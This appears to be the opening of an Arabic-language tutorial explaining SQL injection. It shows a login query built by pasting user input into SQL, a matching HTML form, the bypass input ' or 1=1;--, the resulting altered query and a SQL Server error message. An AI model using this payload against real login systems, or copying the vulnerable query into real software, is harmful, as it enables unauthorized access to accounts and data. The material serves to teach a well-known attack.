بسم الله الرحمن الرحيم، 1/ ما معنى SQL injection
SELECT id FROM users WHERE name='$name' AND pass='$pass';
<form method="post" action="login.php"> <input type="text" name="name"> <input type="password" name="pass"> <input type="submit" value="login"></form>
admin
' or 1=1;--
SELECT id FROM users WHERE name='admin' AND pass='' OR 1=1;--';
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause./process_login.asp, line 35